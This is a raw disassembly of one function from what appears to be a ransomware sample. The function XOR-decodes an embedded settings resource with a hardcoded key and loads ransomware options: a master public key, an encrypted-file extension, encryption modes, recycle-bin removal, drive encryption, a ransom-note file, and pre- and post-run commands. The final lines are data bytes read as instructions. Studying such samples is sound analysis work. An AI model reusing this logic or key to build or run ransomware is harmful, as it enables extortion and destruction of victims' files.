Function at 0x403700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43d5b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb8
push esi
push edi
push str.____Load_settings_from_resource..._n
call fcn.00401d10
push ecx
mov eax, esp
lea ecx, [ebp - 0x60]
mov dword [eax], str.SETTINGS
mov dword [eax + 4], 8
call fcn.0041e530
add esp, 8
mov dword [ebp - 4], 0
cmp byte [ebp - 0x60], 0
je 0x404535
mov edi, dword [ebp - 0x58]
mov esi, 0
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
sub edi, dword [ebp - 0x5c]
je 0x4037a1
cmp edi, 0x7fffffff
ja 0x404580
push edi
lea ecx, [ebp - 0x20]
call fcn.00409530
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub esi, eax
push esi
push eax
push dword [ebp - 0x20]
call fcn.00422340
mov eax, dword [ebp - 0x20]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor ecx, ecx
test edi, edi
je 0x4037cd
mov dword [ebp - 0x10], 0xe
nop
xor edx, edx
mov eax, ecx
div dword [ebp - 0x10]
mov eax, dword [ebp - 0x5c]
add edx, str.PUTINHUILO1337
mov al, byte [ecx + eax]
xor al, byte [edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jb 0x4037b0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00405a50
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40380d
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x403803
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40465c
push edx
push ecx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x58]
mov byte [ebp - 0x11], 0
cmp eax, dword [ebp - 0x54]
je 0x403825
mov byte [eax], 0
mov ecx, dword [ebp - 0x58]
inc ecx
mov dword [ebp - 0x58], ecx
jmp 0x403835
lea ecx, [ebp - 0x11]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040bef0
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub ecx, eax
push ecx
push eax
push str.___Resource:__s__i_n
call fcn.00401d70
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x50]
push 0
push 1
sub esp, 0x28
mov eax, esp
mov dword [eax + 0x24], 0
call fcn.00406aa0
add esp, 0x30
push str.sMasterPublicKey
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.00406bb0
lea ecx, [ebp - 0xc4]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa8]
call fcn.0041e2d0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x4038db
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4038d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
cmp dword [ebp - 0x94], 8
lea eax, [ebp - 0xa8]
push dword [ebp - 0x98]
cmovae eax, dword [ebp - 0xa8]
mov ecx, 0x4509cc
push eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
call fcn.00412d00
add esp, 8
test eax, eax
jne 0x40392a
mov byte [ebp - 0x11], al
jmp 0x4044c3
push str.sEncryptedFileExtension
lea ecx, [ebp - 0x50]
call fcn.00406bb0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x90]
call fcn.0041e2d0
mov esi, eax
cmp esi, 0x450abc
je 0x4039e1
mov edx, dword [0x450ad0]
cmp edx, 8
jb 0x4039a1
mov ecx, dword [0x450abc]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403997
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x40458a
mov ecx, edi
push edx
push ecx
call fcn.00420d85
add esp, 8
mov dword [0x450acc], 0
xor eax, eax
mov dword [0x450ad0], 7
mov word [0x450abc], ax
movups xmm0, xmmword [esi]
movups xmmword [0x450abc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x450acc], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x7c]
cmp ecx, 8
jb 0x403a1e
mov edx, dword [ebp - 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403a14
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40458a
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
cmp ecx, 0x10
jb 0x403a6d
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40458a
push ecx
push edx
call fcn.00420d85
add esp, 8
push str.bThreadPool
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov ecx, eax
cmp byte [ecx], 4
jne 0x40458f
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.nThreads
mov byte [0x457470], al
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.nEncryptionTypeIO
lea ecx, [ebp - 0x50]
mov dword [0x45747c], eax
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.nEncryptionLimitBytes
lea ecx, [ebp - 0x50]
mov dword [0x457474], eax
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.nEncryptionType
lea ecx, [ebp - 0x50]
mov dword [0x4509a0], eax
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.nEncryptionBlockBytes
lea ecx, [ebp - 0x50]
mov dword [0x457480], eax
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.nEncryptionSkipBytes
lea ecx, [ebp - 0x50]
mov dword [0x4509a4], eax
call fcn.00406bb0
mov ecx, eax
call fcn.00406d00
push str.bRemoveRecycle
lea ecx, [ebp - 0x50]
mov dword [0x457488], eax
call fcn.00406bb0
mov ecx, eax
cmp byte [ecx], 4
jne 0x4045c1
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bChiperDrives
mov byte [0x457484], al
call fcn.00406bb0
mov ecx, eax
cmp byte [ecx], 4
jne 0x4045f3
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bHideConsole
mov byte [0x457485], al
call fcn.00406bb0
mov ecx, eax
cmp byte [ecx], 4
jne 0x404625
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.sRequirementsFilename
mov byte [0x45748c], al
call fcn.00406bb0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.0041e2d0
push eax
mov ecx, 0x4509b4
call fcn.00405ca0
lea ecx, [ebp - 0x78]
call fcn.00405c40
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x28]
cmp eax, 0x10
jb 0x403bd5
inc eax
lea ecx, [ebp - 0x3c]
push eax
push dword [ebp - 0x3c]
call fcn.00401b30
push str.sRequirementsData
lea ecx, [ebp - 0x50]
call fcn.00406bb0
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x78]
call fcn.0041e2d0
mov esi, eax
cmp esi, 0x450aa4
je 0x403c89
mov edx, dword [0x450ab8]
cmp edx, 8
jb 0x403c49
mov ecx, dword [0x450aa4]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403c3f
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x404657
mov ecx, edi
push edx
push ecx
call fcn.00420d85
add esp, 8
mov dword [0x450ab4], 0
xor eax, eax
mov dword [0x450ab8], 7
mov word [0x450aa4], ax
movups xmm0, xmmword [esi]
movups xmmword [0x450aa4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x450ab4], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x78]
call fcn.00405c40
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x403cc9
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403cbf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404657
push ecx
push edx
call fcn.00420d85
add esp, 8
push str.vecSkipFileExtensions
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405900
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405850
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
je 0x403e60
lea ecx, [ebp - 0x24]
call fcn.00405750
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x3c]
call fcn.0041e2d0
mov byte [ebp - 4], 0xe
mov ecx, dword [0x450a9c]
cmp ecx, dword [0x450aa0]
je 0x403d7b
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a9c], 0x18
jmp 0x403d87
push eax
push ecx
mov ecx, 0x450a98
call fcn.0040bc60
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403dc5
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403dbb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403e11
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403e23.0
movzx eax, byte [eax + 0x404674]
jmp dword [eax*4 + 0x404668]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406570
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403e49
add dword [ebp - 0x1c], 0x10
jmp 0x403e49
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
jne 0x403d08
push str.vecFullEncryptionExtensions
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405900
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405850
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
je 0x403ff8
nop
lea ecx, [ebp - 0x24]
call fcn.00405750
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3c]
call fcn.0041e2d0
mov byte [ebp - 4], 0x10
mov ecx, dword [0x450a24]
cmp ecx, dword [0x450a28]
je 0x403f13
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a24], 0x18
jmp 0x403f1f
push eax
push ecx
mov ecx, 0x450a20
call fcn.0040bc60
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403f5d
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f53
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403fa9
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f9f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403fbb.0
movzx eax, byte [eax + 0x40468c]
jmp dword [eax*4 + 0x404680]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406570
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403fe1
add dword [ebp - 0x1c], 0x10
jmp 0x403fe1
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
jne 0x403ea0
push str.vecSkipPaths
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405900
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405850
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
je 0x40418f
lea ecx, [ebp - 0x24]
call fcn.00405750
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3c]
call fcn.0041e2d0
mov byte [ebp - 4], 0x12
mov ecx, dword [0x457508]
cmp ecx, dword [0x45750c]
je 0x4040aa
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x457508], 0x18
jmp 0x4040b6
push eax
push ecx
mov ecx, 0x457504
call fcn.0040bc60
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x4040f4
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4040ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404140
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404136
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x404152.0
movzx eax, byte [eax + 0x4046a4]
jmp dword [eax*4 + 0x404698]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406570
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x404178
add dword [ebp - 0x1c], 0x10
jmp 0x404178
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
jne 0x404037
push str.vecPreRunCommands
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405900
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405850
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
je 0x404328
nop
lea ecx, [ebp - 0x24]
call fcn.00405750
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3c]
call fcn.0041e2d0
mov byte [ebp - 4], 0x14
mov ecx, dword [0x450ad8]
cmp ecx, dword [0x450adc]
je 0x404243
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450ad8], 0x18
jmp 0x40424f
push eax
push ecx
mov ecx, 0x450ad4
call fcn.0040bc60
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x40428d
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404283
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x4042d9
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x4042eb.0
movzx eax, byte [eax + 0x4046bc]
jmp dword [eax*4 + 0x4046b0]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406570
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x404311
add dword [ebp - 0x1c], 0x10
jmp 0x404311
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
jne 0x4041d0
push str.vecPostRunCommands
lea ecx, [ebp - 0x50]
call fcn.00406bb0
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.00405900
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405850
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
je 0x4044bf
lea ecx, [ebp - 0x24]
call fcn.00405750
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406e30
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3c]
call fcn.0041e2d0
mov byte [ebp - 4], 0x16
mov ecx, dword [0x450a78]
cmp ecx, dword [0x450a7c]
je 0x4043da
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x450a78], 0x18
jmp 0x4043e6
push eax
push ecx
mov ecx, 0x450a74
call fcn.0040bc60
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x404424
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40441a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404470
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404466
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404585
push ecx
push edx
call fcn.00420d85
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x404482.0
movzx eax, byte [eax + 0x4046d4]
jmp dword [eax*4 + 0x4046c8]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.00406570
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x4044a8
add dword [ebp - 0x1c], 0x10
jmp 0x4044a8
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406f00
test al, al
jne 0x404367
mov byte [ebp - 0x11], 1
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x94]
cmp ecx, 8
jb 0x404507
mov edx, dword [ebp - 0xa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4044fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40465c
push ecx
push edx
call fcn.00420d85
add esp, 8
xor eax, eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x48]
push dword [ebp - 0x50]
call fcn.00405f40
jmp 0x404539
mov byte [ebp - 0x11], 0
mov ecx, dword [ebp - 0x5c]
test ecx, ecx
je 0x40456d
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x404563
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404661
push edx
push ecx
call fcn.00420d85
add esp, 8
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00405ad0
call fcn.0042d25f
call fcn.0042d25f
call fcn.00409300
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412920
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.00412730
add esp, 8
lea eax, [ebp - 0x40]
push 0x44e154
push eax
call fcn.004222c7
call fcn.00409300
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412920
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 8
call fcn.00412730
add esp, 8
lea eax, [ebp - 0x40]
push 0x44e154
push eax
call fcn.004222c7
call fcn.00409300
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412920
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 9
call fcn.00412730
add esp, 8
lea eax, [ebp - 0x40]
push 0x44e154
push eax
call fcn.004222c7
call fcn.00409300
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412920
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
call fcn.00412730
add esp, 8
lea eax, [ebp - 0x40]
push 0x44e154
push eax
call fcn.004222c7
call fcn.0042d25f
call fcn.0042d25f
call fcn.0042d25f
nop
inc esi
inc eax
add byte [edx], ch
inc eax
add byte [eax + 0x3e], al
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
fidivr word [edi]
inc eax
add dl, al
aas
inc eax
add al, bl
aas
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
jne 4212443
inc eax
add byte [ecx + 0x41], bl
inc eax
add byte [edi + 0x41], ch
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
push cs
inc ebx
inc eax
add dl, dh
inc edx
inc eax
add byte [eax], cl
inc ebx
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
movsd dword es:[edi], dword [esi]
inc esp
inc eax
add byte [ecx - 0x60ffbfbc], cl
inc esp
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, cl
int3